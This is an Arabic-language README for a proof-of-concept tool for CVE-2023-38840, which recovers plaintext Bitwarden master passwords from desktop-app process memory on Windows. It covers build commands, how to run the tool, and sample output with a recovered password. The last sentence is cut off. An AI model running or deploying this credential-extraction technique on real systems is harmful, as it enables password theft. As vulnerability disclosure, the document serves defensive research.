
دليل إثبات المفهوم لـ (CVE-2023-38840) الذي يستخرج كلمات المرور الرئيسية بنص صريح من خزنة Bitwarden المقفلة.
تم التحديث 2: تم تعيين هذه الثغرة CVE-2023-38840.
تم التحديث: تم إصدار تصحيح عبر طلب سحب على GitHub (5813) يصلح الثغرة. الإصدارات المتأثرة هي Bitwarden Desktop 2023.7.0 وما دون.
أداة إثبات مفهوم تستخرج كلمة المرور الرئيسية من خزنة Bitwarden مقفلة (يجب أن تكون قد فُتحت مرة واحدة على الأقل) من أنظمة Windows. تعمل فقط للجلسة الحالية، أي أنها لن تعمل بعد إعادة تشغيل النظام. لا تتطلب صلاحيات إدارية.
تم نشر مدونة متاحة على: https://redmaple.tech/blogs/2023/extract-bitwarden-vault-passwords/
عرض قصير لاستخدام bw-dump مع Microsoft Edge وإضافة متصفح Bitwarden. الأداة الأحدث تعمل فقط على تطبيق Bitwarden Desktop.
https://user-images.githubusercontent.com/9108334/191377244-f0e9a123-e4f0-43b0-90b5-697fc005ae7b.mov
تحذير: سيُبلغ Windows Defender عن الملف الثنائي المُجمَّع كملف خبيث!
لبناء ملف ثنائي مجرّد (stripped)، اكتب:
go build -ldflags="-s -w"
للبناء على نظام Linux، اكتب:
env GOOS=windows GOARCH=amd64 go build -ldflags="-s -w"
ببساطة قم ببناء الملف الثنائي وتنفيذه. لا يتطلب صلاحيات إدارية. تأكد من أن عملية Bitwarden قيد التشغيل. بالإضافة إلى ذلك، يجب فتح الخزنة مرة واحدة على الأقل. بعدها، سيتم تخزين كلمة المرور الرئيسية في الذاكرة لفترة من الوقت.
يمكنك أيضًا تمرير الخيار -d لتفريغ مناطق الذاكرة عند العثور على نمط. لكل نتيجة، يتم إنشاء ملف باسم dump-pid-<PID>-<MEM-REGION>.hex في دليل العمل الحالي.
مثال على الإخراج
PS C:\Users\Tester\dev\go\bw-dump> bw-dump.exe
888 88b, Y8b Y8b Y888P 888 88e
888 88P' Y8b Y8b Y8P 888 888b 8888 8888 888 888 8e 888 88e
888 8K Y8b Y8b Y 888 888 8888D 8888 8888 888 888 88b 888 888b
888 88b, Y8b Y8b 888 888P Y888 888P 888 888 888 888 888P
888 88P' Y8P Y 888 88" "88 88" 888 888 888 888 88"
888
Created by @NazMarkuta at Red Maple 888
BW-Dump is a Windows forensics tool that extracts Bitwarden master passwords from locked vaults
(must be unlocked at least once) by reading process memory using Windows API functions which
searches for magic byte patterns. The tool doesn't require any special (admin) permissions.
Now supports Bitwarden Desktop App (v2023.1.1) running on Windows 10 or 11. The tool (may)
still support older Bitwarden Chromium extension versions (v2022.6.0) and below.
[+] Searching for processes...
[+] PID: 4228
[+] EXEName: Bitwarden.exe
[+] CMDLine: "C:\Users\Tester\AppData\Local\Programs\Bitwarden\Bitwarden.exe" --type=renderer --user-data-dir="C:\Users\Tester\AppData\Roaming\Bitwarden" --app-path="C:\Users\Tester\AppData\Local\Programs\Bitwarden\resources\app.asar" --no-sandbox --no-zygote --first-renderer-process --lang=en-GB --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --time-ticks-at-unix-epoch=-1675782335888921 --launch-time-ticks=4007177473 --mojo-platform-channel-handle=2508 --field-trial-handle=1792,i,3673052334935287551,6849534636950916074,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:1
[+] Searching PID memory (4228)
[+] Found pattern at MemBaseAddr (0xb0800554000)
[+] Found password prefix bytes at offset (0xc121)
[!] Invalid offset size, skipping...
[+] Found pattern at MemBaseAddr (0xb0800a8c000)
[+] Found password prefix bytes at offset (0x1104)
[!] Invalid offset size, skipping...
[+] Found pattern at MemBaseAddr (0xb08014bc000)
[+] Found password prefix bytes at offset (0x62aa)
[+] Password recovered: "SUPER-SECURE-password8"
PS C:\Users\Tester\dev\go\bw-dump>
هناك طريقتان (وربما أكثر) يمكن من خلالهما حذف كلمة المرور الرئيسية من الذاكرة:
Bitwarden.exe، ويجب أن تقوم Windows ببعض عمليات جمع القمامة (garbage collection).